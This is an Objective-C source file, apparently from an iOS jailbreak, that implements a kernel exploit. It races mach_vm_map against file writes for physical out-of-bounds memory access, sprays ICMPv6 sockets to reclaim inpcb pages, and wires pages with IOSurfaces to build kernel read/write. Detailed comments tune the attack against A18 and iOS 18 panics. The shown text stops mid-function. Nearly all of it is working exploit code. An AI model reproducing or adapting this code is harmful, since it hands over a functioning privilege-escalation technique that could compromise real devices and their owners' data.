#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#import <mach-o/dyld.h>
#import <mach/mach.h>
#import <sys/fileport.h>
#import <sys/socket.h>
#import <sys/utsname.h>
#import <unistd.h>
#define IPPROTO_ICMPV6 58
#define ICMP6_FILTER 18
#import <IOSurface/IOSurfaceRef.h>
#import <pthread.h>
#import <sys/uio.h>
#import <sys/syscall.h>
#import <execinfo.h>
#import <fcntl.h>
#import <errno.h>
#import <stdatomic.h>
#import <sys/sysctl.h>
#import <sys/time.h>
#import <sys/mman.h>

#import "offsets.h"
#import "krw.h"
#import "kexploit_opa334.h"
#import "ksafe.h"
#import "persistence.h"
#import "kutils.h"
#import "../TaskRop/RemoteCall.h"
#import "../SettingsViewController.h"
#import <os/proc.h>   // os_proc_available_memory() -- live jetsam headroom

extern bool gIsPACSupported;

extern bool gIsA18Above;

void IOSurfacePrefetchPages(IOSurfaceRef surface);

#define FAILURE(c)                                                             \
    {                                                                          \
        fflush(stdout);                                                        \
        sleep(2);                                                              \
        exit(c);                                                               \
    }
#define PRINT_VAR(var)                                                         \
    {                                                                          \
        printf(#var ": %#llx\n", var);                                         \
        fflush(stdout);                                                        \
        sleep(2);                                                              \
    }

#define OOB_OFFSET 0x100
#define OOB_SIZE 0xf00
#define OOB_PAGES_NUM 2

// xnu-11417.140.69/bsd/sys/proc_info.h
#define PROC_PIDFILEPORTSOCKETINFO      3       /* out: socket_fdinfo */

// xnu-11417.140.69/bsd/sys/proc_info_private.h
#define PROC_INFO_CALL_PIDFILEPORTINFO       0x6

#ifdef __arm64e__
static uint64_t __attribute((naked)) __xpaci(uint64_t a) {
    asm(".long        0xDAC143E0"); // XPACI X0
    asm("ret");
}
#else
#define __xpaci(x) x
#endif

void memset64(void *ptr, uint64_t val, size_t size) {
    uint8_t *ptr8 = ptr;
    for (uint64_t idx = 0; idx < size; idx += sizeof(uint64_t)) {
        uint64_t *ptr64 = (uint64_t *)&ptr8[idx];
        *ptr64 = val;
    }
}

int readFd = -1;
int writeFd = -1;
kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address,
                          mach_vm_size_t size, mach_vm_offset_t mask, int flags,
                          mem_entry_name_port_t object,
                          memory_object_offset_t offset, boolean_t copy,
                          vm_prot_t cur_protection, vm_prot_t max_protection,
                          vm_inherit_t inheritance);
kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address,
                               mach_vm_size_t size, int flags);
kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address,
                                 mach_vm_size_t size);

int highestSuccessIdx = 0;
// Per-path ceiling on OOB race iterations. It is a SAFETY limit, not a tuning
// knob: each race attempt is an independent chance to fault the physical
// aperture (the pwritev copies from a page the racing mach_vm_map just freed).
// pe_v1's scan touches hundreds of distinct offsets, so a high ceiling
// multiplies its panic exposure across all of them (measured: 4000 took pe_v1
// from 4/7 to 0/2). pe_v2 re-races a SINGLE confirmed target, so a high ceiling
// buys acquisitions its confirm read otherwise cannot win (measured: one A18
// acquire needed index 1264, impossible at 500) at a bounded exposure cost.
// Hence pe_v1 keeps 500, pe_v2 uses 4000. Set at the top of each path.
int g_oob_race_max_tries = 500;
// Approach A (interleave spray + reverse scan). Off by default -- the proven
// baseline is bulk-spray-then-forward-scan (~4/7). A pins the PCB find to the
// mapping tail but has not measured better on panic rate, so it is opt-in via
// the kSettingsA18Interleave toggle, read once per run in kexploit_opa334().
bool gA18Interleave = false;
// A18 search-pass bound. Default ON; OFF restores the legacy 1.5.5 behaviour: pe_v1
// grinds (unbounded passes) until it acquires. On caps the search at 4 passes
// and returns a clean retry instead -- a run that never lands the PCB otherwise
// keeps rolling until it panics the aperture. Read once per run at the pe_v1
// call site; see maxPasses in pe_v1.
bool gA18BoundedSearch = false;
// Defined after the A18 paths; called at every hunt exit (success OR failure)
// before the final result log or any tweak work.
static bool kexploit_post_hunt_check(const char *tag);
// A18 memory-shaping mode: 0 off (standard geometry), 1 dynamic (pin a fraction
// of live jetsam headroom), 2 fixed 3 GB (1.5.5). Read once per run at the pe_v1
// call site; isA18Device is (gA18ShapeMode != 0).
int gA18ShapeMode = 0;
int successReadCount = 0;
struct iovec iov;
uint64_t randomMarker;
// Distinct stamp for OUR OWN pe_v1 search-mapping pages. randomMarker doubles
// as the lost-race sentinel (the target file and read buffer are pre-filled
// with it), so a successful OOB read of one of our own pages -- which holds
// randomMarker -- is indistinguishable from a race loss and burns the full
// retry budget before moving on. Stamping our pages with a distinct value lets
// the scan recognise an own-page successor as a (safe) win on the first try,
// skip find_and_corrupt, and count it -- yielding the physical run structure of
// the pool for free. pe_v2 keeps randomMarker (its stamp is untouched).
uint64_t randomMarkerOwned;
uint64_t peV1OwnSuccessorCount;

// On-device A/B switch for validating the own-page fix (see pe_v1). Built at 0
// (FIXED: own search pages stamped with randomMarkerOwned, recognised on the
// first read). Build the comparison binary with -DPE_V1_AB_FORCE_COLLISION=1 to
// reproduce upstream DarkSword / Dopamine's collision -- own pages stamped with
// randomMarker, which is also the race sentinel, so an own-page read is misread
// as a lost race and burns the retry budget. Baseline build for measurement
// only; never ship at 1. Only the marker changes; the race loop is untouched.
#ifndef PE_V1_AB_FORCE_COLLISION
#define PE_V1_AB_FORCE_COLLISION 0
#endif
uint64_t wiredPageMarker;
mach_port_t pcObject = MACH_PORT_NULL;
mach_vm_address_t pcAddress = 0;
mach_vm_size_t pcSize;

NSMutableArray<NSNumber *> *socketPorts;
NSMutableArray<NSNumber *> *socketPcbIds;
#define GETSOCKOPT_READ_LEN 32
void *getsockoptReadData = NULL;

#define FAST_SOCKET_PORTS_MAX 32768
#define FAST_TARGET_GENCNT_MAX 256
#define RELEASE_PACE_EVERY 512
#define RELEASE_PACE_US 1000
#define WIRED_DEALLOC_PACE_EVERY 2048
#define WIRED_DEALLOC_PACE_US 1000
#define PE_V2_MIN_NEW_SOCKETS_PER_PAGE 128
#define PE_V2_MAX_FREED_WIRED_PER_MAPPING 64
// Bounded reoccupation-verification loop for pe_v2. After a staged page W is
// freed, the inpcb zone must take exactly W's physical address on its next
// expansion -- a one-shot race. Rather than commit to a single roll, spray in
// batches and re-read W until a PCB lands. Every read re-touches W's PA, which
// was proven valid during the hunt and does not become an ExclaveKit hole by
// being freed, so the loop adds ZERO aperture exposure. Ammo (maxSocketsCount)
// usually binds before this cap.
#define PE_V2_REOCCUPY_ATTEMPTS 12
// Batch reoccupation. On device, betting an inpcb lands on ONE specific freed
// page loses ~0/40 (see the reoccupy-miss RESULT rows), because the whole socket
// budget gets burned re-spraying that single page -- so only ~1 page is freed
// per mapping. Instead, free a BATCH of pages (each with a prompt spray), then
// re-scan them ALL for ANY reoccupied PCB: P(any of N) >> P(one specific), and
// the budget is spread across N pages rather than concentrated on one. The
// re-scan reads only proven PAs, so it adds ZERO aperture exposure. Sized so the
// per-page sprays (maxSocketsCount/splitCount each) fill the budget across the
// batch (batch == splitCount == 8).
#define PE_V2_FREE_BATCH  8
#define PE_V2_BATCH_ROUNDS 3
// Backstop on the linear probe for the next allocatable page during A18
// staging. The original loop was unbounded; a 4096 probe cap (64 MB of skipped
// address space) truncated staging at ~78% because the search legitimately has
// to step over large occupied regions. This is set far beyond anything
// reachable so it never fires in practice, and exists only so a genuinely stuck
// address cannot hang the app forever.
#define PE_V2_MAX_FIXED_ALLOC_PROBES (1u << 20)
// Minimum number of pages that must actually be wired before racing.
// IOSurfaceCreate caps out well below the number of pages staged, so this is an
// absolute floor, not a proportion of the staging run.
#define PE_V2_MIN_WIRED_PAGES 4096
// Consecutive IOSurfaceCreate failures that mean the per-process ceiling is hit
// and further attempts are pointless.
#define PE_V2_MAX_CONSECUTIVE_MLOCK_FAILURES 64
// Staging surfaces to hand back when a search mapping cannot be wired. One
// search mapping is 32 MB against a staged page's 16 KB, so this needs to be
// generous enough to cover the size difference.
#define PE_V2_SEARCH_MAPPING_SURFACE_RESERVE 2048
#define PE_V2_MAX_MAPPING_RECYCLES 4
#define PE_V2_RECYCLE_WAIT_SECONDS 3
// pe_v3: re-spray + re-scan cycles over proven (already-freed-by-us) pages
// after the single hunt ends without a commit. See pe_v3_cycle_proven().
// 6 -> 20 on the Oct 8-9 data (71 pe_v3 runs): every one of the 15 aperture
// panics died mid-hunt, none in the 186 proven-page cycles run, and a cycle
// commits ~2.7% of the time with no sign of decaying by cycle 6. So each extra
// cycle converts misses into acquisitions at zero aperture exposure, and every
// miss converted is one fewer fresh hunt (the only place the panics live) on
// the auto-retry. Cost: ~4 s per extra cycle on a run that would have missed.
#define PE_V2_PROVEN_CYCLE_ROUNDS 20
// ...but only when the hunt suggests they can land. Across 66 pe_v3 runs
// (Oct 8-9), hunts that needed more than 20 foreign reads to collect their 8
// own pages won 0 of 118 proven-page cycles (15 runs; first batch hit 2 of 15),
// against 7 of 175 for hunts at or under 20. A sparse hunt seems to mean a
// busy, fragmented free list that never hands the freed pages to the socket
// zone. Skipping the cycles there costs nothing (no cycle ever paid off, and a
// miss retries either way) and starts the auto-retry ~70 s sooner.
#define PE_V3_CYCLE_FOREIGN_CUTOFF 20
// Hard cap on foreign reads in the hunt itself -- the only reads that panic
// (~1.5% each). In 70 pe_v3 runs no hunt past 25 foreign reads ever acquired;
// three acquisitions landed at 21-25. A cap of 20 deliberately gives those up
// to cut first-hunt exposure; the rest ran on to 26-106 foreign reads for
// nothing (12:45 on Oct 9: 106). A capped hunt re-rolls a fresh layout.
#define PE_V3_HUNT_FOREIGN_CAP 20
// Bound on pe_v2's marker hunt. While no staged page has been found in the
// current mapping, every successful read touches a random physical neighbour
// and can hit an ExclaveKit hole — the 2026-08-28 pe_v2 panics were exactly
// this grind when staging silently failed to land. A healthy hunt finds a
// marker within a few dozen wins (2 GB staging), so 400 is generous headroom;
// past it, staging is broken and the only safe move is a clean abort. The
// free/spray/re-read dance after the first marker stays unbudgeted on
// purpose: it re-touches only PAs already proven valid by the hunt.
#define PE_V2_HUNT_WIN_BUDGET 400
#define PHYSICAL_OOB_READ_RETRY_LIMIT 8
#define PHYSICAL_OOB_CORRUPT_RETRY_LIMIT 8

// ---- Round 21: physical-OOB write-path hardening (panic 2) ------------------
// Panic 2 (iPhone17,2/22F76) surfaced as garbage PFNs (>1 TB) when the kernel
// translated OUR task's page during write(2)->apfs_vnop_write->
// cluster_write_contig->pmap_cpu_windows_copy_addr — consistent with an OOB
// page write landing on, or a remap race leaving residue in, page metadata the
// kernel later consumed. On T8140 the page tables are SPTM-owned (ksafe.m:
// reading them is an instant panic), so there are no direct PTE writes here to
// bound-check; the checkable analogue is to make misidentified page writes
// structurally improbable and to verify EVERY write and restore against a
// full-page readback, then stop the run loudly when the primitive's view of
// physical memory proves untrustworthy.
//
// find_and_corrupt_socket return convention: KERN_SUCCESS acquired, -1 miss
// (scan continues), PHYSICAL_OOB_CORRUPT_FATAL = abort the whole run.
#define PHYSICAL_OOB_CORRUPT_FATAL        (-2)
// A restore/write readback may legitimately differ in a few qwords (the kernel
// keeps touching live PCB list links). More than this means the write landed
// on the WRONG page.
#define PHYSICAL_OOB_RESTORE_DIFF_TOLERANCE 8
#define PHYSICAL_OOB_WRITE_DIFF_TOLERANCE   4
// This many full-page inconsistencies per run = stop trusting the primitive.
#define PHYSICAL_OOB_INCONSISTENCY_ABORT    2

static unsigned g_oob_inconsistencyCount = 0;

bool physical_oob_run_aborted(void) {
    return g_oob_inconsistencyCount >= PHYSICAL_OOB_INCONSISTENCY_ABORT;
}

// Kernel heap band (same shape as ksafe.m's ks_is_heap_ptr): zone/heap
// allocations carry high32 in [0xFFFFFFC0, 0xFFFFFFEF] and are 16-byte aligned.
static bool oob_is_heap_ptr(uint64_t p) {
    uint64_t band32 = p >> 32;
    return band32 >= 0xFFFFFFC0ULL && band32 <= 0xFFFFFFEFULL && (p & 0xF) == 0;
}

static unsigned oob_page_diff(const void *a, const void *b) {
    unsigned diffs = 0;
    for (uint64_t q = 0; q + sizeof(uint64_t) <= OOB_SIZE; q += sizeof(uint64_t)) {
        if (*(const uint64_t *)((const uint8_t *)a + q) !=
            *(const uint64_t *)((const uint8_t *)b + q))
            diffs++;
    }
    return diffs;
}
// A18 / iOS 18 (ExclaveKit): every successful OOB race dereferences the
// physical page adjacent to a search-mapping page. Exclave-owned pages are
// unmapped from the kernel physical aperture, so each successful read is a
// dice roll against an unconditional panic ("Unexpected fault in kernel
// physical aperture"). Measured 2026-08-31 across the standard-geometry runs:
// all four successes found the PCB within 125 successful reads (6/12/46/125),
// and every run that kept grinding past that died in the aperture — a pass
// either finds the PCB early or never finds it at all, because the physical
// layout is fixed when the pass sprays. Scanning longer only adds hole
// exposure. So cap the successful reads per pass and re-roll the layout
// (fresh mappings + fresh spray on the next pass) instead of grinding.
#define A18_PASS_WIN_BUDGET 150
// pe_v1 also needs a hard foreign-read cap: the pass budget alone allows 150
// successful reads, and every foreign read is an independent aperture-hole
// roll. 50 preserves the one observed 50-foreign acquisition while refusing
// the 108-foreign grind that preceded several panics.
#define PE_V1_FOREIGN_CAP 50
// A18 dynamic shaping: fraction of the live jetsam headroom to pin. Shaping only
// helps while its pages stay resident, so we size to what actually fits and keep
// a margin for the socket spray + jetsam hysteresis rather than a fixed 3 GB.
// 75%, not higher: 85% (2.85 GB on a ~3.35 GB-headroom device) tipped into
// SYSTEM-WIDE memory pressure -- other apps' code pages got evicted and faulted
// on codesigning re-validation (EXC_BAD_ACCESS/CODESIGNING), plus the pin itself
// sometimes failed to allocate. os_proc_available_memory() is per-process
// headroom; system pressure bites before it, so stay well under. 75% was clean.
#define A18_SHAPE_FRACTION_PCT 75
static bool fastSocketMode = false;
static mach_port_t fastSocketPorts[FAST_SOCKET_PORTS_MAX];
static uint64_t fastSocketPcbIds[FAST_SOCKET_PORTS_MAX];
static uint64_t fastSocketPortsCount = 0;
static uint64_t fastTargetInpGencntList[FAST_TARGET_GENCNT_MAX];
static int fastTargetInpGencntCount = 0;

// Round 15: _Atomic, not volatile — the race window synchronizes the free
// thread and the main exploit thread through these (spin on freeThreadStart/
// goSync/raceSync, then read the target fields). volatile made every one of
// those lock-free reads a C11 data race: UB and no ordering, so the target
// fields could legally be observed stale after the flag. Plain loads/stores
// on the _Atomic forms are seq_cst (single ldar/stlr-class instructions on
// arm64 — no fence, race timing unchanged) and make the flag→data order real.
_Atomic uint8_t goSync = 0;
_Atomic uint8_t raceSync = 0;
_Atomic uint8_t freeThreadStart = 0;
_Atomic mach_vm_address_t freeTarget = 0;
_Atomic mach_vm_size_t freeTargetSize = 0;
_Atomic mem_entry_name_port_t targetObject = 0;
_Atomic memory_object_offset_t targetObjectOffset = 0;
uint64_t freeThreadMapFailureCount = 0;

// The mlock table used to be a fixed 4096 entries. pe_v2 wires 2 GB one page at
// a time — 131,072 surfaces on a 16 KB-page device — so every surface past the
// 4096th was created and then dropped on the floor: never CFRelease()d, never
// reachable by surface_munlock_all(), leaking ~127,000 IOSurfaces per run. Grow
// on demand instead.
typedef struct {
    uint64_t address;
    IOSurfaceRef surface;
} mlock_entry_t;
static mlock_entry_t *gMlockDict = NULL;
static size_t gMlockDictCount = 0;
static size_t gMlockDictCap = 0;

// IOSurfaceCreate failures used to be silent, which is the worst possible
// outcome here: pe_v2's whole premise is that its pages are wired, and a failed
// surface means a page quietly is not. Count them so a run can report it.
static uint64_t gMlockCreateFailures = 0;

static bool mlock_dict_reserve(void) {
    if (gMlockDictCount < gMlockDictCap) return true;
    size_t newCap = gMlockDictCap ? gMlockDictCap * 2 : 4096;
    mlock_entry_t *grown = realloc(gMlockDict, newCap * sizeof(*grown));
    if (!grown) {
        printf("[-] surface_mlock: out of memory growing mlock table to %zu\n", newCap);
        return false;
    }
    memset(grown + gMlockDictCap, 0, (newCap - gMlockDictCap) * sizeof(*grown));
    gMlockDict = grown;
    gMlockDictCap = newCap;
    return true;
}

static void surface_munlock_all(void);

int controlSocket = -1;
int rwSocket = -1;
uint64_t controlSocketPcb = 0;
uint64_t rwSocketPcb = 0;
uint8_t controlData[EARLY_KRW_LENGTH];
static bool gKrwRestoreSnapshotValid = false;
static uint64_t gKrwRestoreControlFilter = 0;
static uint64_t gKrwRestoreControlCksum = 0;
static uint64_t gKrwRestoreRwFilter = 0;
static uint64_t gKrwRestoreRwCksum = 0;

void kexploit_krw_restore_snapshot_clear(void) {
    gKrwRestoreSnapshotValid = false;
    gKrwRestoreControlFilter = 0;
    gKrwRestoreControlCksum = 0;
    gKrwRestoreRwFilter = 0;
    gKrwRestoreRwCksum = 0;
}

void kexploit_krw_restore_snapshot_import(uint64_t controlFilter,
                                          uint64_t controlCksum,
                                          uint64_t rwFilter,
                                          uint64_t rwCksum) {
    if (!controlFilter || !rwFilter) {
        kexploit_krw_restore_snapshot_clear();
        return;
    }

    gKrwRestoreSnapshotValid = true;
    gKrwRestoreControlFilter = controlFilter;
    gKrwRestoreControlCksum = controlCksum;
    gKrwRestoreRwFilter = rwFilter;
    gKrwRestoreRwCksum = rwCksum;
}

bool kexploit_krw_restore_snapshot_export(uint64_t *controlFilter,
                                          uint64_t *controlCksum,
                                          uint64_t *rwFilter,
                                          uint64_t *rwCksum) {
    if (!gKrwRestoreSnapshotValid) return false;
    if (controlFilter) *controlFilter = gKrwRestoreControlFilter;
    if (controlCksum) *controlCksum = gKrwRestoreControlCksum;
    if (rwFilter) *rwFilter = gKrwRestoreRwFilter;
    if (rwCksum) *rwCksum = gKrwRestoreRwCksum;
    return true;
}

static void krw_restore_snapshot_note(uint64_t controlFilter,
                                      uint64_t controlCksum,
                                      uint64_t rwFilter,
                                      uint64_t rwCksum) {
    kexploit_krw_restore_snapshot_import(controlFilter, controlCksum,
                                         rwFilter, rwCksum);
    printf("[KRW] restore snapshot saved controlFilter=%#llx rwFilter=%#llx\n",
           controlFilter, rwFilter);
}

#define TARGET_FILE_SIZE (PAGE_SIZE * 0x2)
void *default_file_content;
char executablePath[PATH_MAX];
const char *executableName;

#define MAX_PROCESS_MARKERS 8
#define PROCESS_MARKER_MAX_LEN 64
static char processMarkers[MAX_PROCESS_MARKERS][PROCESS_MARKER_MAX_LEN];
static size_t processMarkerCount = 0;
static char guestExecutableName[PROCESS_MARKER_MAX_LEN];
static char kernelProcessName[PROCESS_MARKER_MAX_LEN];
static char hostExecutableName[PROCESS_MARKER_MAX_LEN];

pthread_t freeThread;
static bool freeThreadCreated = false;

// false: out of memory before anything kernel-side was touched.
bool init_globals(void) {
    kexploit_preflight_cleanup();
    socketPorts = [NSMutableArray new];
    socketPcbIds = [NSMutableArray new];
    getsockoptReadData = calloc(1, GETSOCKOPT_READ_LEN);
    randomMarker = (uint64_t)arc4random() << 32 | arc4random();
    randomMarkerOwned = randomMarker ^ 0x9e3779b97f4a7c15ULL;
    wiredPageMarker = (uint64_t)arc4random() << 32 | arc4random();
    default_file_content = calloc(1, TARGET_FILE_SIZE);
    if (!getsockoptReadData || !default_file_content) {
        printf("[-] init_globals: allocation failed\n");
        free(getsockoptReadData); getsockoptReadData = NULL;
        free(default_file_content); default_file_content = NULL;
        return false;
    }
    memset64(default_file_content, randomMarker, TARGET_FILE_SIZE);
    surface_munlock_all();
    return true;
}

void create_target_file(const char *path) {
    FILE *f = fopen(path, "w");
    if (!f) {
        printf("[-] create_target_file: fopen(%s) failed: %s\n", path, strerror(errno));
        return;   // the open() below then fails and is reported
    }
    fwrite(default_file_content, 1, TARGET_FILE_SIZE, f);
    fclose(f);
}

void init_target_file(void) {
    char read_file_path[1024] = {0};
    char write_file_path[1024] = {0};
    confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024);
    confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024);

    char read_file_name[100];
    char write_file_name[100];
    snprintf(read_file_name, 100, "/%u", arc4random());
    snprintf(write_file_name, 100, "/%u", arc4random());

    strcat(read_file_path, read_file_name);
    strcat(write_file_path, write_file_name);

    create_target_file(read_file_path);
    create_target_file(write_file_path);

    readFd = open(read_file_path, O_RDWR);
    writeFd = open(write_file_path, O_RDWR);

    printf("[+] readFd: %d\n", readFd);
    printf("[+] writeFd: %d\n", writeFd);

    remove(read_file_path);
    remove(write_file_path);
    fcntl(readFd, F_NOCACHE, 1);
    fcntl(writeFd, F_NOCACHE, 1);
}

static void add_process_marker(const char *marker) {
    if (!marker || marker[0] == '\0') return;

    size_t len = strnlen(marker, PROCESS_MARKER_MAX_LEN - 1);
    if (len == 0) return;

    for (size_t i = 0; i < processMarkerCount; i++) {
        if (strncmp(processMarkers[i], marker, PROCESS_MARKER_MAX_LEN) == 0)
            return;
    }

    if (processMarkerCount >= MAX_PROCESS_MARKERS) return;
    memset(processMarkers[processMarkerCount], 0, PROCESS_MARKER_MAX_LEN);
    memcpy(processMarkers[processMarkerCount], marker, len);
    processMarkerCount++;
}

static void add_process_marker_variants(const char *marker) {
    add_process_marker(marker);

    size_t len = strnlen(marker ?: "", PROCESS_MARKER_MAX_LEN - 1);
    if (len > 15) {
        char truncated[16] = {0};
        memcpy(truncated, marker, 15);
        add_process_marker(truncated);
    }
}

static void init_process_markers(void) {
    memset(processMarkers, 0, sizeof(processMarkers));
    memset(guestExecutableName, 0, sizeof(guestExecutableName));
    memset(kernelProcessName, 0, sizeof(kernelProcessName));
    memset(hostExecutableName, 0, sizeof(hostExecutableName));
    processMarkerCount = 0;

    uint32_t sz = sizeof(executablePath);
    if (_NSGetExecutablePath(executablePath, &sz) != 0)
        executablePath[0] = '\0';

    const char *guestName = executablePath[0] ? strrchr(executablePath, '/') : NULL;
    guestName = guestName ? guestName + 1 : executablePath;
    if (guestName && guestName[0]) {
        snprintf(guestExecutableName, sizeof(guestExecutableName), "%s", guestName);
        executableName = guestExecutableName;
    }

    NSString *processName = [NSProcessInfo processInfo].processName;
    if (processName.length > 0)
        snprintf(hostExecutableName, sizeof(hostExecutableName), "%s", processName.UTF8String);

    const char *progName = getprogname();
    if (progName && progName[0])
        snprintf(kernelProcessName, sizeof(kernelProcessName), "%s", progName);

    add_process_marker_variants(guestExecutableName);
    add_process_marker_variants(kernelProcessName);
    add_process_marker_variants(hostExecutableName);

    printf("[i] process marker guest='%s' host='%s' kernel='%s'\n",
           guestExecutableName[0] ? guestExecutableName : "(unknown)",
           hostExecutableName[0] ? hostExecutableName : "(unknown)",
           kernelProcessName[0] ? kernelProcessName : "(unknown)");
    for (size_t i = 0; i < processMarkerCount; i++)
        printf("[i] process_marker[%zu]=%s\n", i, processMarkers[i]);
}

void *free_thread(void *arg) {
    while (freeThreadStart == 0)
        ;

    mach_vm_address_t ft = freeTarget;
    mach_vm_size_t ftSize = freeTargetSize;

    while (goSync == 0)
        ;

    while (goSync != 0) {
        while (raceSync == 0)
            ;

        mach_port_t currentTargetObject = targetObject;
        memory_object_offset_t currentTargetObjectOffset = targetObjectOffset;
        if (currentTargetObject == MACH_PORT_NULL || ft == 0 || ftSize == 0) {
            raceSync = 0;
            continue;
        }

        mach_vm_address_t addr = ft;
        kern_return_t kr =
            mach_vm_map(mach_task_self(), &addr, ftSize, 0,
                        VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, currentTargetObject,
                        currentTargetObjectOffset, 0, VM_PROT_DEFAULT, VM_PROT_DEFAULT,
                        VM_INHERIT_NONE);

        if (kr != KERN_SUCCESS) {
            freeThreadMapFailureCount++;
            if ((freeThreadMapFailureCount & 0xff) == 1) {
                printf("[-] free_thread: mach_vm_map missed race: kr=%#x freeTarget=%#llx targetObject=%#x targetObjectOffset=%#llx\n",
                       kr, ft, currentTargetObject, currentTargetObjectOffset);
            }
            raceSync = 0;
            continue;
        }

        raceSync = 0;
    }

    return NULL;
}

static void stop_free_thread_if_needed(void) {
    if (!freeThreadCreated)
        return;

    // Wake the race thread even if initialize_physical_read_write() failed
    // before it could publish a target. Without this, vphone IOSurface setup
    // failures leave the thread spinning in while (freeThreadStart == 0) and
    // the main thread blocks forever in pthread_join().
    freeThreadStart = 1;
    goSync = 1;
    raceSync = 1;
    usleep(10000);
    goSync = 0;
    raceSync = 1;
    pthread_join(freeThread, NULL);
    freeThreadCreated = false;
    freeThreadStart = 0;
    raceSync = 0;
}

fileport_t spray_socket(NSMutableArray *socketPorts,
                        NSMutableArray *socketPcbIds) {
    pthread_set_qos_class_self_np(QOS_CLASS_BACKGROUND, 0);
    
    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);
    if (fd == -1) {
        printf("[-] socket create failed!!!");
        return fd;
    }
    pthread_set_qos_class_self_np(QOS_CLASS_USER_INITIATED, 0);

    fileport_t outputSocketPort = 0;
    fileport_makeport(fd, &outputSocketPort);
    close(fd);

    static uint8_t socketInfo[0x400];
    memset(socketInfo, 0, sizeof(socketInfo));
    errno = 0;
    int r = syscall(SYS_proc_info, PROC_INFO_CALL_PIDFILEPORTINFO, getpid(), PROC_PIDFILEPORTSOCKETINFO, outputSocketPort, socketInfo, sizeof(socketInfo));
    if (r < (int)(0x110 + sizeof(uint64_t))) {
        printf("[-] spray_socket: proc_info failed/short res=%d errno=%d port=%#x\n",
               r, errno, outputSocketPort);
        mach_port_deallocate(mach_task_self(), outputSocketPort);
        return (fileport_t)-1;
    }
    uint64_t inp_gencnt = *(uint64_t *)(socketInfo + 0x110);

    [socketPorts addObject:@(outputSocketPort)];
    [socketPcbIds addObject:@(inp_gencnt)];
    return outputSocketPort;
}

void sockets_release(NSMutableArray *socketPorts,
                     NSMutableArray *socketPcbIds) {
    uint64_t released = 0;
    while (socketPorts.lastObject) {
        mach_port_deallocate(
            mach_task_self(),
            ((NSNumber *)socketPorts.lastObject).unsignedIntValue);
        [socketPorts removeLastObject];
        [socketPcbIds removeLastObject];
        released++;
        if ((released % RELEASE_PACE_EVERY) == 0)
            usleep(RELEASE_PACE_US);
    }
}

static fileport_t spray_socket_fast(void) {
    if (fastSocketPortsCount >= FAST_SOCKET_PORTS_MAX)
        return (fileport_t)-1;

    pthread_set_qos_class_self_np(QOS_CLASS_BACKGROUND, 0);
    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6);
    pthread_set_qos_class_self_np(QOS_CLASS_USER_INITIATED, 0);
    if (fd == -1)
        return (fileport_t)-1;

    fileport_t outputSocketPort = 0;
    int fpmRes = fileport_makeport(fd, &outputSocketPort);
    close(fd);
    if (outputSocketPort == 0) {
        printf("[-] spray_socket_fast: fileport_makeport failed res=%d errno=%d\n",
               fpmRes, errno);
        return (fileport_t)-1;
    }

    static uint8_t socketInfo[0x400];
    memset(socketInfo, 0, sizeof(socketInfo));
    errno = 0;
    int r = syscall(SYS_proc_info, PROC_INFO_CALL_PIDFILEPORTINFO, getpid(), PROC_PIDFILEPORTSOCKETINFO, outputSocketPort, socketInfo, sizeof(socketInfo));
    if (r < (int)(0x110 + sizeof(uint64_t))) {
        printf("[-] spray_socket_fast: proc_info failed/short res=%d errno=%d port=%#x\n",
               r, errno, outputSocketPort);
        mach_port_deallocate(mach_task_self(), outputSocketPort);
        return (fileport_t)-1;
    }

    fastSocketPorts[fastSocketPortsCount] = outputSocketPort;
    fastSocketPcbIds[fastSocketPortsCount] = *(uint64_t *)(socketInfo + 0x110);
    fastSocketPortsCount++;
    return outputSocketPort;
}

static void sockets_release_fast(void) {
    for (uint64_t i = 0; i < fastSocketPortsCount; i++) {
        if (fastSocketPorts[i] != MACH_PORT_NULL)
            mach_port_deallocate(mach_task_self(), fastSocketPorts[i]);
        if (((i + 1) % RELEASE_PACE_EVERY) == 0)
            usleep(RELEASE_PACE_US);
    }
    memset(fastSocketPorts, 0, sizeof(fastSocketPorts));
    memset(fastSocketPcbIds, 0, sizeof(fastSocketPcbIds));
    fastSocketPortsCount = 0;
}

static bool preflight_socket_spray_fast(void) {
    if (fastSocketPortsCount != 0)
        return true;

    mach_port_t port = spray_socket_fast();
    if (port == (mach_port_t)-1)
        return false;

    sockets_release_fast();
    return true;
}

static uint64_t active_socket_count(void) {
    return fastSocketMode ? fastSocketPortsCount : socketPorts.count;
}

static mach_port_t active_socket_port(uint64_t idx) {
    if (fastSocketMode)
        return fastSocketPorts[idx];
    return (mach_port_t)socketPorts[(NSUInteger)idx].unsignedLongLongValue;
}

static void active_socket_leak_port(uint64_t idx) {
    if (fastSocketMode) {
        if (idx < fastSocketPortsCount && fastSocketPorts[idx] != MACH_PORT_NULL) {
            printf("[KRW] leaking suspect socket fileport idx=%llu to avoid unsafe teardown\n",
                   idx);
            fastSocketPorts[idx] = MACH_PORT_NULL;
        }
        return;
    }
}

static uint64_t active_socket_pcb_id(uint64_t idx) {
    if (fastSocketMode)
        return fastSocketPcbIds[idx];
    return socketPcbIds[(NSUInteger)idx].unsignedLongLongValue;
}

static bool target_gencnt_seen_or_add(uint64_t targetInpGencnt,
                                      NSMutableArray *targetInpGencntList) {
    if (!fastSocketMode) {
        if ([targetInpGencntList containsObject:@(targetInpGencnt)])
            return true;
        [targetInpGencntList addObject:@(targetInpGencnt)];
        return false;
    }

    for (int i = 0; i < fastTargetInpGencntCount; i++) {
        if (fastTargetInpGencntList[i] == targetInpGencnt)
            return true;
    }
    if (fastTargetInpGencntCount >= FAST_TARGET_GENCNT_MAX)
        return true;
    fastTargetInpGencntList[fastTargetInpGencntCount++] = targetInpGencnt;
    return false;
}

IOSurfaceRef create_surface_with_address(uint64_t address, uint64_t size) {
    IOSurfaceRef surface = IOSurfaceCreate((__bridge CFDictionaryRef) @{
        @"IOSurfaceAddress" : @(address),
        @"IOSurfaceAllocSize" : @(size)
    });

    if (surface)
        IOSurfacePrefetchPages(surface);

    return surface;
}

bool surface_mlock(uint64_t address, uint64_t size) {
    IOSurfaceRef surface = create_surface_with_address(address, size);
    if (!surface) {
        // Do not swallow this. An unwired page breaks the physical-contiguity
        // assumption the OOB race depends on, and the resulting failure shows
